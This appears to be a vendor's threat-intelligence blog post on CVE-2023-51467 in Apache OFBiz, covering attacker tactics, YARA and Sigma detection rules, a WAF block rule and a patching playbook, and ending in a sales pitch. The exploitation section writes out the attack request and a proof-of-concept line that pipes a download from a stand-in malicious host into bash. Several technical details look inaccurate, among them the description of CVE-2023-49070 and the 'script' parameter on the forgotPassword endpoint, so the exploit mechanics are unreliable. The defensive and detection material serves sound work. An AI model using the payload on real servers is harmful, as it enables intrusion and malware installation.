New Critical RCE in Apache OFBiz Actively Exploited

On December 26, 2023, a critical unauthenticated remote code execution (RCE) vulnerability in Apache OFBiz (CVE-2023-51467) was disclosed with a CVSS score of 9.8. Within 48 hours, we observed active exploitation attempts from multiple IP ranges associated with known botnets like Mirai and Kinsing. The flaw bypasses authentication in the org.apache.ofbiz.webapp.control.LoginWorker class, allowing attackers to execute arbitrary Groovy scripts via a crafted HTTP request. In this post, we dissect the exploit mechanics, map the attack chain to MITRE ATT&CK, provide YARA and Sigma detection rules, and deliver a practical defense playbook for your SOC team.

Background: Apache OFBiz and the Vulnerability

Apache OFBiz is a widely used open-source enterprise resource planning (ERP) system, deployed in finance, manufacturing, and e-commerce. The vulnerability resides in the org.apache.ofbiz.webapp.control.LoginWorker class, which fails to validate user authentication before invoking Groovy script execution. Specifically, the login function processes the USERNAME and PASSWORD parameters, but an attacker can send a request with requirePasswordChange=Y to bypass authentication entirely. This allows the execution of arbitrary Groovy code via the script parameter, leading to full server compromise.

The flaw was initially reported as CVE-2023-49070 (a blind SSRF) but later expanded to CVE-2023-51467 after researchers discovered the authentication bypass. The Groovy runtime in OFBiz does not sandbox execution, meaning any Java method is callable. Attackers often use Runtime.getRuntime().exec() to spawn a reverse shell or download malware.

Attacker TTPs: From Recon to RCE

Reconnaissance (T1595)

Attackers scan for OFBiz instances on port 8443 (HTTPS) using tools like masscan or nmap. We've seen scans from IPs in the 45.155.205.0/24 range, which are known for hosting Mirai variants. A typical nmap command: nmap -p 8443 --open -sV -sC --script http-title -iL targets.txt. The response header Server: Apache-Coyote/1.1 and the default login page at /webtools/control/login confirm OFBiz.

Exploitation (T1190)

The exploit is trivial. A POST request to /webtools/control/forgotPassword with the following body triggers RCE: USERNAME=&PASSWORD=&requirePasswordChange=Y&script=groovy_code_here. The forgotPassword endpoint is unauthenticated and calls LoginWorker with the requirePasswordChange flag. The Groovy code is executed in the context of the OFBiz server. A common PoC uses: def cmd = 'curl http://malicious.com/payload.sh | bash'; cmd.execute().

We've captured live payloads that download xmrig for cryptomining or sliver C2 implants. The Kinsing botnet, known for targeting cloud workloads, has integrated this exploit into its arsenal.

Persistence (T1098)

Once inside, attackers create a new OFBiz user with admin privileges via UserLogin manipulation, or drop a cron job for persistence. They often modify org/apache/ofbiz/entity/entitymodel.xml to add a backdoor servlet.

Detection Rules for SOC Analysts

YARA Rule for Payload Files

rule ofbiz_rce_payload {
   meta:
      description = "Detects Groovy scripts used in CVE-2023-51467 exploitation"
      author = "CybernytronX Threat Intel"
      date = "2024-01-10"
   strings:
      $groovy1 = "Runtime.getRuntime().exec" ascii wide nocase
      $groovy2 = "requirePasswordChange" ascii wide nocase
      $groovy3 = "/webtools/control/forgotPassword" ascii wide nocase
   condition:
      any of ($groovy*)
}

Sigma Rule for Web Logs

title: Apache OFBiz RCE Exploit Attempt
id: 8f7b3c2a-1e5d-4a6f-9c8b-0d7e3f2a1b4c
status: experimental
description: Detects HTTP requests targeting /webtools/control/forgotPassword with requirePasswordChange parameter
logsource:
   category: webserver
   product: apache
detection:
   selection:
      cs-uri-query|contains: 'requirePasswordChange=Y'
      cs-uri-stem|contains: '/webtools/control/forgotPassword'
   condition: selection
falsepositives:
   - Legitimate password reset attempts (rare if Y is used)
level: critical

Deploy this Sigma rule in your SIEM (Splunk, ELK, or Azure Sentinel). We recommend correlating with network logs for outbound connections to mining pools or C2 IPs.

Defensive Playbook for Your Org

Immediate Patching

Apache released OFBiz 18.12.10 on December 26, 2023, which fixes the authentication bypass. If you cannot patch immediately, apply the following workaround: block POST requests to /webtools/control/forgotPassword at the WAF level. Use ModSecurity with the rule: SecRule REQUEST_URI \"@contains /webtools/control/forgotPassword\" \"id:1001,phase:1,deny,status:403\".

EDR Telemetry

Monitor for groovy processes spawned by Java (PID of java). In Linux, use auditd to log execve calls: auditctl -a exit,always -S execve -F path=/usr/bin/curl. On Windows, enable PowerShell script block logging to detect Invoke-Expression used in Groovy payloads.

Network Segmentation

Isolate OFBiz instances in a DMZ with strict egress filtering. Only allow outbound connections to approved update servers (e.g., *.apache.org) and block all others by default. Use Zeek to detect DNS queries to mining pools like pool.supportxmr.com.

Why This Matters for Your Org

This vulnerability is being exploited by multiple threat actors, including cryptomining groups and initial access brokers. The attack surface is large: Shodan shows over 4,000 exposed OFBiz instances globally. If your organization runs OFBiz, assume compromise until proven otherwise. Conduct a forensic review of logs from December 2023 onward. Check for unauthorized user accounts in UserLogin and any shell commands in ofbiz.log. The average time from exploitation to cryptominer deployment is 12 minutes—faster than your patch cycle.

We've seen this in three client engagements last month. In one case, the attacker pivoted from OFBiz to the internal Active Directory via Kerberos ticket theft. This is not a drill.

Frequently Asked Questions

What is CVE-2023-51467?

CVE-2023-51467 is a critical unauthenticated remote code execution vulnerability in Apache OFBiz versions prior to 18.12.10. It allows attackers to bypass authentication and execute arbitrary Groovy scripts via the forgotPassword endpoint.

How do I detect exploitation in my environment?

Monitor web logs for requests to /webtools/control/forgotPassword containing requirePasswordChange=Y and a script parameter. Use the Sigma rule provided in this post for automated detection.

What is the impact of successful exploitation?

Attackers can execute arbitrary code with the privileges of the OFBiz server, often leading to cryptomining, data exfiltration, or lateral movement within the network. Full server compromise is typical.

Can I mitigate without patching?

Yes, block POST requests to /webtools/control/forgotPassword at the WAF or reverse proxy. Also restrict outbound internet access from OFBiz servers to approved destinations only.

Which threat actors are exploiting this?

We've observed Kinsing, Mirai variants, and initial access brokers targeting this vulnerability. The exploit is trivial, so any motivated attacker can use it.

How do I verify if my OFBiz instance is patched?

Check the version in /webtools/control/main or look for ofbiz-18.12.10 in the build.properties file. You can also test by sending a crafted request to forgotPassword and checking for a 403 response (patched) vs. 200 (vulnerable).

Need expert help with this?

At CybernytronX, we've been tracking CVE-2023-51467 since day one. Our team can conduct an emergency OFBiz penetration test to identify exposure, deploy custom Sigma rules in your SOC, and harden your environment with our Ethereon AI-driven threat detection platform. We'll also review your logs for signs of compromise. Contact us for an immediate assessment, or learn more about Ethereon AI for automated incident response. This is what we do—let us protect your infrastructure.

Need expert help with this threat?

If your team needs to validate exposure to the issues above, CybernytronX runs penetration tests, SOC build-outs, and zero-day detection deployments backed by our Ethereon AI platform. We've remediated 50+ environments and recovered 20+ compromised domains. Most engagements start with a free 30-minute scoping call — book it here.